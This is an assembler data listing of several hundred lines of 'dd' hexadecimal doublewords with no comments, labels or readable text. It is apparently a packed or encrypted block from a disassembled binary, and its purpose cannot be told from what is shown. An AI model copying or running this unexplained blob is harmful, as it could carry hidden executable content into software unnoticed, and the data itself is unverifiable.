		dd 0B8B59986h, 6F3D5A7Eh, 0A4F140BFh, 92E2D40Ch, 0FB77C46Dh
		dd 0BCA960C8h, 5763B705h, 2193B785h, 8BDF0275h,	0C9E0AAEh
		dd 0B92B0000h, 807ACA60h, 22C313A9h, 0EF1161F7h, 9F5CAC42h
		dd 72DBF48Ah, 0E77DAC4Fh, 34CA6797h, 7E141DE4h,	0CA60D12Eh
		dd 0BEFDCF5h, 935A7EC0h, 39C628ADh, 36C9ABF8h, 313244FBh
		dd 3BD6C546h, 7813BCF4h, 0EB95C016h, 0CC457C34h, 68Ch
		dd 47FB2C77h, 5E157B9Eh, 7D36F071h, 732AF851h, 0AE4D9A65h
		dd 2F7F157Bh, 531461D0h, 5A7EB973h, 9C0285Bh, 63B8651Ch
		dd 0F317E557h, 0DF0272CBh, 1924C8A5h, 0B000000Ch, 0FF4FE534h
		dd 48982EFBh, 96E67C9Dh, 0E131C76Ah, 60790F1Ah,	227D4F7h
		dd 4FE21C6Ch, 999869B9h, 0E54CB303h, 74617A4Fh,	5A7EBF90h
		dd 0C6AD3218h, 0C9ABF839h, 13AEFB36h, 86305BB1h, 67457CF8h
		dd 610h, 0D407E712h, 0C4EF5491h, 0EFB09D54h, 72517D35h
		dd 5E969B64h, 0BDCB8250h, 8E59A542h, 0F157BD6Ch, 3DF40B5Bh
		dd 8F4374F0h, 8972BF72h, 7EB9B89Ch, 0C72405Ah, 4B02EFA6h
		dd 0CB5763B8h, 72EFD9FDh, 0DCB9DF02h, 0B8B38h, 73A63E00h
		dd 0BC6D8DDDh, 0A0FD626h, 55DC2474h, 9D8C6FBFh,	6285EE07h
		dd 0AAFA9099h, 0F747DD54h, 4191270Ah, 8DD73BEh,	0C11E02EFh
		dd 0C0A65A7Eh, 0AE39C63Bh, 2B78DE53h, 2E7BB649h, 2F7CB54Ch
		dd 317EB34Dh, 0B3F80EBCh, 6712E84Ah, 457CF8BDh,	5739Eh
		dd 0B1BF4900h, 0FC94E150h, 32F51EC4h, 29305520h, 30BF219Dh
		dd 5492A94Ch, 84F9F0D2h, 1BCDC18Fh, 1B30E74Dh, 92094A2Eh
		dd 0CC04D254h, 6C20CCB9h, 8EA3517Dh, 7EEFBDA1h,	3F77455Ah
		dd 9EAC6331h, 0EA3AD061h, 0FADECB15h, 825A7EEFh, 791800B4h
		dd 91F5B3ECh, 3D1DDE2Bh, 255A7ED6h, 0E6D38AF2h,	5763D42Fh
		dd 15BDE1AFh, 63DF0258h, 0AC6E286h, 0E1030000h,	0A852A238h
		dd 4A9BEB81h, 17E939CFh, 0C734841Ah, 4AB3CC62h,	0BF55D427h
		dd 0CA28F6Fh, 56EC45BCh, 0A238F906h, 0E3C7B4CDh, 6B5A7EC1h
		dd 39C60085h, 93E051AEh, 96E34EB1h, 12E898FEh, 8264B117h
		dd 0CC67B47Dh, 3FE99C6Ah, 7F457CF8h, 57A48D71h,	0A91587BFh
		dd 0C0000004h, 91D404E7h, 8C3F454h, 91D4371Bh, 8BF1BF54h
		dd 0BDAABFD4h, 5491D3D9h, 0DF919863h, 7E6C8EC3h, 9E04E7C6h
		dd 45B47B66h, 6634517Dh, 0D35EA1AFh, 0E4D1E63Dh, 5A7ECA00h
		dd 8E856C88h, 0E343E179h, 0F5D9C67Dh, 7D5A7E87h, 946B77AFh
		dd 0A3D4509Dh, 8817FBE8h, 60A15A7Eh, 3AEC84D1h,	341F401Eh
		dd 2E9484B6h, 752411C8h, 0F5576342h, 0CDD90327h, 5633DF02h
		dd 9F3B2h, 0B0ED600h, 54D52575h, 0A2776EBEh, 0ED44BC0Ch
		dd 35F40757h, 0FA1D869Fh, 42922801h, 8FDF75BCh,	0D929BF72h
		dd 0A0750B26h, 0C2B69A87h, 583E5A7Eh, 0AE39C6D3h, 0F890DD4Ch
		dd 37C9DB92h, 8BA9C76Bh, 48958461h, 649A4AB0h, 0B0E880CDh
		dd 57DA2507h, 0B046360Ah, 3DD35EA1h, 7C806711h,	1374845h
		dd 0C6F30000h, 2C41F839h, 91D35B3Fh, 0DD15E354h, 3AAD5234h
		dd 6D0369C0h, 31E85083h, 361A071Ch, 0BE5491D4h,	6ECDB8F0h
		dd 0EE5176E0h, 3212D320h, 0CD5A78E1h, 9C4631C7h, 7D409BF5h
		dd 36h,	91FB2C28h, 4AB7C5DAh, 0FDC4AFE7h, 7D5176FBh, 647962AFh
		dd 4D82B952h, 9120C722h, 5A7903ADh, 442F6735h, 5A790364h
		dd 78E3F9FFh, 409BCCCEh, 0ADAFh, 39C65A00h, 32C9ABF8h
		dd 37C8AAF7h, 0B2C4ADFAh, 90327542h, 0A7FEB2DAh, 0CD4E57C5h
		dd 0B748548Ch, 788DE47Ah, 920DA78Bh, 29612F54h,	9232673Eh
		dd 1B16E954h, 689B85h, 0DA263449h, 54341F57h, 0CF5178C6h
		dd 40F039C1h, 2B3971C0h, 6398A65Dh, 1BE030C6h, 44FCEA0Eh
		dd 0A784E4ECh, 8BF03h, 3FDA0A00h, 88A159A9h, 0D643A2F2h
		dd 2110F040h, 69C03B8Bh, 2E51BAD3h, 76C65CCDh, 0C313A988h
		dd 0D5DF33Eh, 0D4A93FF2h, 0C3EACEBBh, 8C725A7Eh, 34B1BF07h
		dd 5D412EE5h, 0E55491D3h, 28D3DF17h, 0E41B6B01h, 5260B74Dh
		dd 9E3683AEh, 39C65566h, 36C9ABF8h, 393244FBh, 0D332CDDAh
		dd 0D4E6D810h, 298h, 91FB2C37h,	0D072EDDAh, 0AC7A5176h
		dd 0F0BE9E5Fh, 53595A78h, 0E128D285h, 5109409Bh, 0B4000002h
		dd 91D406E7h, 5BCDF654h, 35EEB7A4h, 0A876517Dh,	151CE3F1h
		dd 17D02F7Fh, 0FA9549E8h, 0B9908AB8h, 83FF4CB2h, 0D1609E50h
		dd 18C7B46Bh, 9857631Eh, 8740F77Ch, 3BA163A3h, 2C8D917h
		dd 0D27653DFh, 7F8h, 700613D1h,	0B94FDA20h, 79D7C69h, 52E849B7h
		dd 9A30F902h, 6F51881h,	0C13D8D23h, 778ADA70h, 2BD424BAh
		dd 829B7006h, 7EC4B195h, 0CE53395Ah, 0ABF839C6h, 0AEFB36C9h
		dd 451CEADAh, 0B5E177BAh, 457CFC0Bh, 1C3ECh, 0B1BF9700h
		dd 0A1ADE534h, 0BC75895Eh, 3320D76Fh, 5491D34Fh, 0ECA309D7h
		dd 1848C5D7h, 0BD479F3Ch, 92834A2Eh, 0CC04D254h, 22BE4123h
		dd 92835135h, 540BD954h, 92838367h, 0D73D0B54h,	722C5741h
		dd 0C159A673h, 818FA45Bh, 9B96697Eh, 1850B64Eh,	778FCE2Dh
		dd 39324E51h, 0C727CDA6h, 0B172BF25h, 5A7903D1h, 0F509176Ch
		dd 1F57EF3Ch, 30DA8D5Bh, 70409BC8h, 49968362h, 2FFA01B1h
		dd 4385F7h, 202E0000h, 6F0754C5h, 0FB2C2637h, 2976B347h
		dd 1504E191h, 13CA30C8h, 24DBE9FEh, 0D39A7E0Dh,	54225491h
		dd 0FB6A311Ch, 1CEA5176h, 0FC2E0ECFh, 74C95A78h, 629A7F66h
		dd 731D489Eh, 54409BD4h, 0DCh, 0F839C6FFh, 0C0ADC2ABh
		dd 5491D3DCh, 97E29664h, 1BF46784h, 69929ED6h, 6E9173C0h
		dd 6B9476C3h, 0E5FA0FC6h, 92C014F8h, 3FCE9C54h,	5492BF5Bh
		dd 0AF4DC7E3h, 0D3A0F141h, 1443356Dh, 5491D94Dh, 4A0130CFh
		dd 2370A93Ch, 0A61538Bh, 385740F8h, 0BDB66AC7h,	0C1679F33h
		dd 826F2696h, 517925A2h, 36DE0B1Dh, 2FE34EB2h, 28600C62h
		dd 83954C1Ah, 50B02DD8h, 3F182DE1h, 0BDC4C9ECh,	0F751757h
		dd 9DAFC4D7h, 16008C0Ch, 0F0FC3476h, 38881E0Bh,	4EE31CC3h
		dd 0DF036901h, 0E4EBDB1Bh, 49EC906Dh, 80000006h, 0CF1FB564h
		dd 1868FE2Bh, 66B64CCDh, 0B101979Ah, 3049DF4Ah,	0D257A4C7h
		dd 1F12EC3Ch, 69C83989h, 0B57C83D3h, 44314A1Fh,	5A7EC560h
		dd 0C67D02E8h, 0E5EF435h, 55AA40F1h, 9434B1BFh,	91D3C3A7h
		dd 177D4B54h, 0EEFA32CAh, 9B88D211h, 8C694E7Ch,	8F7D926h
		dd 29819329h, 0E4000000h, 0ABF839C6h, 91AD36C9h, 82A965ADh
		dd 2C45585Dh, 0F056CE74h, 578B3D8Ah, 9A4DB281h,	0E981CE4Bh
		dd 37DBED83h, 3E000000h, 934DB1BFh, 91D3C2A6h, 167C4A54h
		dd 1613E7C9h, 34E500B0h, 0B174FE7h, 2FF03DF4h, 5491D350h
		dd 0D2617759h, 176E042Dh, 0EA37F209h, 6180AD04h, 1F852E47h
		dd 39C6D6E7h, 0DDEA29AAh, 41A7D4A5h, 0B0697C8Ah, 0D1E6CF78h
		dd 91F700E4h, 82BA8854h, 8A41ABDCh, 0F6A48875h,	5E2C5491h
		dd 37261326h, 37517D58h, 8F9DB269h, 153A6F6Ch, 158637CAh
		dd 92CA62AFh, 1B87986h,	0F79007EFh, 1D555177h, 0BC24DB2Bh
		dd 7F79EBCFh, 3FA5735Ah, 914D76F2h, 0E515C554h,	1227DE44h
		dd 7A2C10FDh, 9CB45A7Fh, 2E66CC65h, 6ADCB543h, 30E7B557h
		dd 1850D922h, 0DF08F705h, 0F920C522h, 48AE14ACh, 0B7628391h
		dd 0B094816Ah, 38606C5Eh, 0A754046Ah, 8584A82h,	1F0AF0F7h
		dd 220FF0D2h, 27D73DD5h, 740C59D8h, 1245C10Eh, 7B06F3AAh
		dd 835D5165h, 0C67391B5h, 0E8C5D914h, 4CB44h, 33E6FE00h
		dd 7CAD4D9Dh, 0CA4F96E6h, 151CE434h, 5DCC2F7Fh,	2245AEC7h
		dd 6ABA50D9h, 0B7079D94h, 151E74Ah, 0C89D33FEh,	0C7DEC2AFh
		dd 80665A7Eh, 0F839C6FBh, 0FAED1262h, 121FE205h, 61C72DC5h
		dd 64CD3214h, 85534317h, 4AE051AEh, 7CFC741Eh, 4A5545h
		dd 2C000000h, 0EDDA91FBh, 51769F29h, 1E2CE3B1h,	3164EE3h
		dd 0E7D40CF5h, 5A792103h, 71BE738Dh, 0F35927D9h, 62B72E3Ch
		dd 2B09382Ah, 0A65A7921h, 307A6998h, 26D7C4AAh,	4B578FF5h
		dd 62C733B4h, 0EB1666FCh, 2D55F946h, 0B8000004h, 37AE39C6h
		dd 0B7C57CE2h, 23B3994Ah, 50A67243h, 0CD059DEAh, 74BD4224h
		dd 0D7BBA8BDh, 5F549224h, 7D675991h, 3E2BE24Ah,	517730DFh
		dd 8344915Fh, 5A7930A3h, 0B7A2383Eh, 409BA50Dh,	83EEh
		dd 70829700h, 48930FE3h, 17FB8A36h, 9F5A7995h, 94AF9380h
		dd 69375A79h, 0A62D4F03h, 0C2DF80E1h, 0FB2C798Ah, 0D8C5DA91h
		dd 5491D3F4h, 0D3A68A77h, 602E5491h, 95A8E0AEh,	76FBE1A8h
		dd 974E5C51h, 0FB960B34h, 76DCFBFEh, 1DE19129h,	0F72FC714h
		dd 0DCE1BE9h, 5A78E02Dh, 0FC6173C8h, 0C2390B0h,	0D725E921h
		dd 9B07FAA4h, 0D42C3A40h, 0DB3B1F0Ch, 0F5C35A79h, 7EBD88Fh
		dd 8F5A79DBh, 0E11789C1h, 0C2000000h, 33BADBFh,	0D33FF1CBh
		dd 0C1708F9Bh, 76699274h, 0C45CA988h, 0D02F115Eh, 0CD321461h
		dd 0B79BAD64h, 40C047D5h, 802A42B4h, 433C6CCh, 44ABDACCh
		dd 46549295h, 92E278B9h, 8E77C46Dh, 1E0B6E7Ch, 2DDD46FFh
		dd 832961B8h, 1F31E850h, 0A7674497h, 5A6DA5C0h,	76FB7A6Dh
		dd 3C6B7D51h, 375BD014h, 0FC35C979h, 52E8B6C4h,	16CD3F68h
		dd 38C14404h, 0F47C005h, 9FA90FFCh, 0DBA9575Fh,	3E220F24h
		dd 0C66062C0h, 9FADC0F8h, 0B57C835Ch, 9269B94Fh, 6F9B7397h
		dd 0F8D5DF05h, 2CB54h, 33E6FE00h, 7CAD4D9Dh, 0CA4F96E6h
		dd 151CE434h, 5DCC2F7Fh, 2245AEC7h, 6ABA50D9h, 0B7079D94h
		dd 151E74Ah, 0C89D33FEh, 0C9DEC2AFh, 80665A7Eh,	0F435C6FBh
		dd 573B283Dh, 0DF5491D3h, 97E7D911h, 0DE33C968h, 0DA91FB2Ch
		dd 76FC26EDh, 21D8A651h, 0D45EC13h, 0B4697B64h,	834548A8h
		dd 0FFE3D087h, 875A7947h, 0B69681B9h, 385A7947h, 381A67C2h
		dd 44BC6CADh, 7D2BA0EDh, 0F510D46Fh, 0F765D5E4h, 90A5FA91h
		dd 7965BFA3h, 4179475Ah, 0C3D16F7Dh, 0C0A9F63Bh, 7965EFD3h
		dd 43A9775Ah, 6E79230Bh, 0E65A409Bh, 5000000h, 7198AABFh
		dd 0D3520540h, 0F7FDE170h, 93805491h, 5491F7AFh, 0E9B76937h
		dd 0D75AA5B1h, 0D653A88Ah, 391D0A1Fh, 0C35491F8h, 7442F43Dh
		dd 0C0F821C4h, 0E0202E17h, 346C0451h, 91F4E249h, 161BE454h
		dd 62CF3080h, 0CB5E9DABh, 0FB432714h, 0FDCB5491h, 77A01CC5h
		dd 0BB404E05h, 5189216Eh, 0EC5E513Eh, 98665176h, 7DEF1802h
		dd 42A3B1C6h, 6FB49FD7h, 0EF575FA2h, 9F5C6A21h,	0DA24BB40h
		dd 0C720A57h, 0D24DDBFh, 5CC228C0h, 5A8576C6h, 1258BA6h
		dd 0DF056C17h, 89E08461h, 40000001h, 8FDF75A4h,	0D828BE6Bh
		dd 26760C0Dh, 71C157DAh, 0F0099F8Ah, 92976487h,	0DF52ACFCh
		dd 2908F949h, 75BC4393h, 4F10ADFh, 5A7ECB20h, 0C63DC2A8h
		dd 0DA57AA35h, 0F98FF58Dh, 0C66B94A2h, 667D828Eh, 8795E2E1h
		dd 0C95FC5FEh, 0F839C674h, 0FB36C9ABh, 47EA1565h, 0E3557EFAh
		dd 0FDDC3F2Ch, 96645176h, 9A976749h, 9A8F6B4Dh,	0ECCC17EAh
		dd 4ABA033h, 81F643A9h,	57805D3h, 0FD0B21B7h, 9EDDAFEh
		dd 915A79C7h, 19255DC3h, 0CBB54BE6h, 8C793098h,	575EB7B9h
		dd 44267341h, 772976BBh, 8597B543h, 0E9D45220h,	0DB3EBCEh
		dd 0CEBB72DAh, 5D45FDFBh, 0CF1FB583h, 0D89AB330h, 0C9ECE6Ah
		dd 0BCDDEFA6h, 7C604D71h, 4664859h, 0A3398236h,	583AE31Bh
		dd 963B88A9h, 5CA3B248h, 27B39784h, 0C13D6648h,	8AF0BE70h
		dd 6FD90AF4h, 5268CBB8h, 0DDEB632Dh, 0F33EC21Dh, 2847558Dh
		dd 0FC49E01Ah, 56F1D564h, 0AB796C2Fh, 8C798E45h, 6C2F56A8h
		dd 812A6230h, 1AD1609Fh, 0DF4F30Ch, 0D93FD724h,	0DC55AA8Ch
		dd 0F0953E76h, 306354A2h, 0C12411C8h, 49691480h, 0C8FBE57Bh
		dd 853E220Fh, 0F8C67216h, 0B4C6DB92h, 5A2F9D2h,	240F47C9h
		dd 6F01733Dh, 40226F3Dh, 8CDC72BFh, 0B071BE73h,	562718BEh
		dd 1F36C4F8h, 6BBB51E0h, 67509D94h, 548CA559h, 0C279B848h
		dd 0ACE44DB4h, 0FA105E03h, 79D946Bh, 9CE948B7h,	3F8h, 13585B00h
		dd 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h, 0B50227D4h
		dd 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h, 40CD686Fh
		dd 14890000h, 81E28924h, 4C2h, 4EA8300h, 5C241487h, 646B68h
		dd 240C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 0E1B9241Ch, 0C178B73Ah, 0C14904E9h, 0C18104E9h, 5E155815h
		dd 5DACE981h, 0B85027CAh, 332F56BBh, 6858C131h,	2161h
		dd 83242489h, 5B042404h, 441868h, 240C8900h, 8B08438Fh
		dd 8956241Ch, 4C681E6h,	83000000h, 348704C6h, 34FF5C24h
		dd 0C4815924h, 4, 0FA86D6E9h, 0A47C0AFFh, 7C932BC7h, 0B878039Fh
		dd 5ECF928h, 0E0FFC503h, 72BC7392h, 3F035DF2h, 19408Fh
		dd 7909B93Fh, 0AEE0593h, 0FABE8D8Dh, 0EB205ECh,	1AA98D89h
		dd 0C28A05E7h, 2A4D85C7h, 70BC05E7h, 0B58B0000h, 5E71AA1h
		dd 273985C7h, 5E7h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 7CA811C3h, 48C73BC2h
		dd 12E8D78Bh, 71000000h, 8821D290h, 0FC9F4F61h,	0C622435Ah
		dd 0CB4C3A30h, 0C2816620h, 0FF5A0B53h, 0E71555B5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D89C632h, 5E70959h,	2890Fh,	27B60000h, 6830Fh, 0BD8B0000h
		dd 5E713DDh, 179595FFh,	6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 94C556C3h, 860D9980h
		dd 0EE81BAC1h, 11BC15B7h, 95FF006Ah, 5E721C1h, 1CEBC08Bh
		dd 911DBCB1h, 961D0BD5h, 1824502Bh, 0F95BA0A1h,	0DACFF8C3h
		dd 9B3493C3h, 48591C7Ah, 878208EBh, 64C5h, 0DCE90241h
		dd 6800000Bh, 5ECFC70h,	0FB4E68E9h, 0FD6A68FFh,	5EE905ECh
		dd 68FFFB4Eh, 5ECFEC7h,	0FB4E54E9h, 0FFBA68FFh,	4AE905ECh
		dd 68FFFB4Eh, 5ED008Ch,	0FB4E40E9h, 26368FFh, 36E905EDh
		dd 68FFFB4Eh, 5ED0311h,	0FB4E2CE9h, 45A68FFh, 22E905EDh
		dd 68FFFB4Eh, 5ED054Eh,	0FB4E18E9h, 0D07E6EFFh
		dd 0EF5D8E42h, 0BA5AD61h, 268AC97Dh, 44F6E498h,	0E5C1A3B6h
		dd 3B745F7h, 20D462D2h,	39ED7BD1h, 0EA079527h, 874BD206h
		dd 0D7B9583Eh, 82342601h, 0BBDAF85h, 4443AB7Dh,	8DF4ACE0h
		dd 5D105BCCh, 76C35E60h, 2B3A5844h, 95C69C99h, 0B0622A27h
		dd 554D4642h, 0E561F7E7h, 366CBEA6h, 76000000h,	42ECE4ECh
		dd 6F2F4645h, 0D122317Fh, 0F6C1A7EAh, 221F72E2h, 54F8F923h
		dd 0AF699D01h, 335BCC4Fh, 0A0818380h, 8E58440Fh, 0A2382896h
		dd 0ADBEA718h, 0CAh, 823426B7h,	0FB9AF85h, 8CC00212h, 5E2B8291h
		dd 7A9C073h, 906663D5h,	4688EC5Eh, 2B820B12h, 2F46F95Eh
		dd 851B4929h, 161E5E2Bh, 767572C4h, 19ABBD5Fh, 40959D8Bh
		dd 0E1F8F7F4h, 9E9B2D3Fh, 0E349868Eh, 10D0E7E6h, 0BD6094DEh
		dd 3F5E2B7Eh, 0A1D5398Ch, 5BCC8253h, 4416A457h,	3375D9AAh
		dd 52C58745h, 0D19DAD1Fh, 6230478Ch, 55DA7B2Ch,	5DC0F4B8h
		dd 9F5E1D73h, 2376C215h, 76646CD0h, 548236C4h, 28F6AFE2h
		dd 23BCC4CBh, 9AA3Fh, 0F8469600h, 17A5B66Ah, 339DD589h
		dd 4EE2F1A5h, 6CDE0CC0h, 0DE9CBDEh, 2BDF6DDFh, 48FC8A3Ah
		dd 6115A309h, 122FBD0Fh, 8623FA2Eh, 0FFE1583Eh,	86302629h
		dd 0A01244F8h, 0FEEC5412h, 84AA467Dh, 4CD105A6h, 0B05E2B50h
		dd 0D393AAFDh, 0D4086C1Bh, 5BCC7844h, 0A3CF917Fh, 0E68994C8h
		dd 0C87B5843h, 53A1C5B8h, 191B5243h, 1027CBF1h,	565EC275h
		dd 2BA0B705h, 4470F829h, 0D03E3658h, 0A6B64AE0h, 0AE55BEh
		dd 272F0000h, 0C4708731h, 85823426h, 1EFF3375h,	0D75E2B82h
		dd 0A0103385h, 0BE7983F0h, 0C0D72AA5h, 817EC81Eh, 2AEBE57Fh
		dd 7ACC1E5Eh, 942638ECh, 3C4BA397h, 667EAD8h, 42AEAC7Ch
		dd 0D91B4F2Bh, 0D95BCBF0h, 28C69826h, 0D8C7FB5Fh, 2C55DAA1h
		dd 0DF0D1579h, 0AFE35A96h, 5E1D626Eh, 8B88DB8Eh, 0F7AB398Ch
		dd 0DE7080E1h, 5C8FE2E1h, 0C4CB3A91h, 0B08266FFh, 90000008h
		dd 0B064F25Ch, 0CF8311BFh, 0EB9F2D83h, 6BA48E4h, 0C5D866D0h
		dd 67D107E3h, 843025D9h, 9D0F42F6h, 0B7095B0Fh,	0F4280C29h
		dd 583E8529h, 2623F9DBh, 44F88630h, 5412A012h, 69713426h
		dd 0AA73C973h, 5A5E2B82h, 815754A7h, 7D4FDD6Fh,	7AAE1271h
		dd 5BCC944Eh, 401613C6h, 200E9C2Eh, 7B78C218h, 91C3657Ch
		dd 0A12221Fh, 6C6B68C6h, 8BB98755h, 1042D386h, 86CBA19Eh
		dd 838D2926h, 0BB8D1915h, 0D6687A4Dh, 1525A48h,	0E8FA9CB3h
		dd 0C9575956h, 26DB8A4Dh, 3F2D3AA8h, 0EE6C22BFh, 7A0A03CDh
		dd 446C64E1h, 2638DAF1h, 520694h, 0C5AFB1AEh, 0F81F3325h
		dd 0BBAD80EEh, 489DA509h, 2BDFE5FCh, 968A8739h,	33EA1E58h
		dd 0D1E0CCDAh, 5F67CB1Eh, 0C3C2BF09h, 9C9CD0ACh, 57DE6DF3h
		dd 0B2AF194Fh, 4E019CB3h, 8700EEC0h, 0F7B5EF23h, 2614E312h
		dd 12CF153Ah, 49FB68Ch,	0CE525451h, 60E0CC88h, 0ABEDFA68h
		dd 0CC88A677h, 0D0D69E0h, 0C4D0E2DEh, 18D7EEA1h, 361E7682h
		dd 4B98Dh, 23FA9700h, 0AE5E2B82h, 5E2B9273h, 2B712B5Eh
		dd 8DE0E85Eh, 2C43423Fh, 2B6FC35Eh, 0B1D21C5Eh,	0CF030B4Dh
		dd 0D87C4A61h, 1C5BCC71h, 3A40A1ACh, 62B5EC23h,	0A4509A2Fh
		dd 0EBCF68CAh, 753h, 0C14FF9EDh, 0E06EDA0Dh, 0FC8A242Ch
		dd 17A50B48h, 35C37563h, 76644022h, 538236C4h, 529F53E1h
		dd 0A6B86CFAh, 85698614h, 3E84CC51h, 784E3058h,	85823426h
		dd 0C2265D91h, 0C777EE8Eh, 0B71BCE5Bh, 110EBEAFh, 9E9B2D3Bh
		dd 2F354C9Fh, 99233941h, 62739D9Ch, 0BFD6D5D2h,	22CC510Eh
		dd 0F3C9FD61h, 755DFB5h, 805E4E54h, 5FF13EF6h, 0BC1E3B8Fh
		dd 5B4DB5D5h, 4A9CA408h, 2C25FBF8h, 31848380h, 0BAFC3E1Ah
		dd 0C12F9786h, 49F565AEh, 39ECA2E4h, 6D4EB3Eh, 0AC626076h
		dd 4ECF0345h, 0AEB39E55h, 0BF49E4FBh, 481E1BADh, 0A7A6A309h
		dd 10040154h, 2F9DCEDEh, 19737632h, 0B3CF65A8h,	75A90D60h
		dd 0B13F7ED2h, 0F177B2Eh, 0C5076BDDh, 0C17E8C91h, 0CF0070AEh
		dd 0F7881C96h, 3367CB1Eh, 0AEC10CEAh, 4A50671Ah, 0BFF24496h
		dd 74278E28h, 607155EEh, 0E0000006h, 0B4428Ch, 1FD361EFh
		dd 3BEF7DD3h, 560A9834h, 1528B600h, 0B7015733h,	0D4607529h
		dd 0ED5F9246h, 7B9AB5Fh, 44785C79h, 583E82D9h, 873492Bh
		dd 5399DE6h, 5BCC93C3h,	0E6288C3Fh, 446C6BB2h, 0D90F9958h
		dd 2073726Fh, 7C849409h, 24C6DD6Bh, 141C8032h, 767572DCh
		dd 95AC1E4Ch, 0A816E820h, 0EC5037B7h, 0E57E10B8h, 6971B355h
		dd 0AD70C66Ah, 4F5E2B82h, 37EA859Ch, 2686CBD3h,	781A2A29h
		dd 7D61ED19h, 2C1A2037h, 0F0363B3Eh, 758C343Ah,	2B5B7AA7h
		dd 3241495Eh, 8BA2A19Eh, 2B5B60BDh, 186F7F5Eh, 50FC80B4h
		dd 3C005BC7h, 3EA51508h, 155DE758h, 181568BBh, 3EA50416h
		dd 9FADC558h, 0B8AA9BE7h, 3B32D306h, 8720BED0h,	58EA3h
		dd 14A2B200h, 3381D286h, 4FE1F1A5h, 6AC60DC1h, 883228DCh
		dd 2905E7FAh, 47FB8933h, 6418A616h, 7D31BF6Dh, 2E4BD96Bh
		dd 8207164Ah, 13F5583Eh, 0ECE4EC3Dh, 76C9676Bh,	0A3637A79h
		dd 211D7F4Bh, 110EA0B0h, 0B5750212h, 7EC02477h,	1F5BCA90h
		dd 0C235881h, 0C6913E3Eh, 8E8B3E5Bh, 0B014A6B8h, 906A8A8h
		dd 3B8E3E33h, 0A34C1E24h, 6C69DB0Dh, 471D1A6Dh,	6115A315h
		dd 0EAC0BD0Fh, 1C0135F8h, 0E0583F66h, 60CC032Dh, 902E100Dh
		dd 0E6E34988h, 0A614D0E7h, 0F15B9199h, 3CDEF5F4h, 1C0A982Ah
		dd 3284D2DAh, 3DE03635h, 0B8583F66h, 181714A6h,	6C2B42F5h
		dd 0BEABC0D6h, 178E1h, 0E608EB00h, 3305399Dh, 0AF5BCC9Bh
		dd 22FDFFFCh, 0CB584469h, 7F883F2Dh, 0BA9D2D5Fh, 247C93A7h
		dd 5067BA9Ch, 0B9352694h, 63266CAh, 0FE55E4ACh,	0E1CFBD4Bh
		dd 96C8AA09h, 2B311424h, 0CC1EC0D7h, 0B5A77D7Ah, 4BA37503h
		dd 0C9C67265h, 0B1377CAh, 6C6B68C4h, 5B457955h,	0A75BCC76h
		dd 2CF5F7F4h, 2584467h,	3DEFE2EAh, 0CFC6A26h, 0BEA6F476h
		dd 3481h, 0E6088B00h, 1305399Dh, 0CF5BCCAAh, 41D1F1Ch
		dd 0F958445Ah, 495956FAh, 445A0815h, 1F49FC58h,	55827FC9h
		dd 0A03FF6Dh, 1EB4A412h, 29BEA6CDh, 0C1h, 82342633h, 0FB9AF85h
		dd 982A3C12h, 4A93C59Bh, 0C553A618h, 2B857FE5h,	353A425Eh
		dd 8CDE8097h, 6BBE6E63h, 0CDE30BDDh, 2E2D2A86h,	0DE4377DBh
		dd 0E55BC22Bh, 194AC2F7h, 45C57D16h, 88DBEB50h,	6A051C70h
		dd 1D4B53B7h, 0ED219CD4h, 5841A530h, 7BCE21D4h,	70DC0F17h
		dd 499F5359h, 0A563BAEEh, 499A5841h, 0D225D8FBh, 0A6F62C9Fh
		dd 7D61FACAh, 3B7h, 5DEB5589h, 7C0AB6A9h, 982688C8h, 0B341EFE4h
		dd 0D15FE9FFh, 0EA00DCBEh, 0CF1ED260h, 363BEF7Dh, 2540896h
		dd 210522B0h, 3E8030EDh, 1CF2D458h, 0F8863026h,	8994C80Ah
		dd 7B5E2B82h, 0DD0FB1C8h, 91C5076Bh, 5E2B828Ch,	0A0A6BD70h
		dd 823426E2h, 7F6D7585h, 0BAD1D0CDh, 0E674C618h, 227FA28h
		dd 77AA5E2Bh, 685E2B02h, 6599FD86h, 5BC6F817h, 2614782Bh
		dd 0F49224C5h, 2B3D5954h, 0DBA549AEh, 0ECFC7188h, 4845F3E4h
		dd 7C723249h, 8D73A70Bh, 3455E07Dh, 735FBEF2h, 5A965E20h
		dd 71ED1F4h, 986B96Ch, 0A7C4C829h, 3092A0Eh, 27370000h
		dd 4570B99h, 7A762AB8h,	5D9246D4h, 0BFAD61EFh, 8A6C7F0Dh
		dd 800EB8AEh, 9D2B99CCh, 0B644E8E9h, 0D05ED002h, 829BCFB3h
		dd 82583E7Fh, 3426CAA0h, 0DA161E82h, 0FBF8549Dh
		dd 0ADACA9FCh, 194B2196h, 2A3B43A7h, 0AB7D839Ah, 0ACE04443h
		dd 5BCC8DF4h, 5E605D10h, 584476C3h, 1505736Bh, 0BEA6E57Fh
		dd 438Ah, 95C6400h, 0FA2357BBh,	0A58447Dh, 0EC944057h
		dd 82A776AAh, 0A2555E2Bh, 0EDE51892h, 3D54347Ch, 0AE12717Dh
		dd 0CC2B9E7Ah, 0A6A3565Bh, 442B7DA4h, 4BB9B158h, 0A6FCC55Bh
		dd 0DED0BEh, 0A2AA0000h, 3FEB02B4h, 85823426h, 120FB9AFh
		dd 9B982A3Ch, 0E355838Bh, 2ED0E7E6h, 14A0B33Ch,	0E6F5DC1h
		dd 1172DD98h, 1B090F26h, 7572C213h, 0D3915F76h,	0B05E2B47h
		dd 903C35BEh, 0E9FBAF3Dh, 9CD06F80h, 5E2B4881h,	2A7DD083h
		dd 0C0151D2Dh, 0A9FC489Dh, 0D696ADACh, 0D70B6F18h, 5BCC5B15h
		dd 0F02D6125h, 14584454h, 464DADA4h, 9CEF0165h,	95DDE549h
		dd 153F3E3Bh, 747370DCh, 6985575Dh, 3274B61Ah, 44051FFEh
		dd 132ADD58h, 0DAB83245h, 177B2E55h, 0E16FD90Fh, 5A8D3F2Dh
		dd 0C4CBE2DBh, 0C04C30C9h, 80000001h, 0A054E26Ch, 0BF73014Fh
		dd 0DB8F1DB3h, 0F6AA3894h, 0B5C856E0h, 57E1F7D3h, 74C015C9h
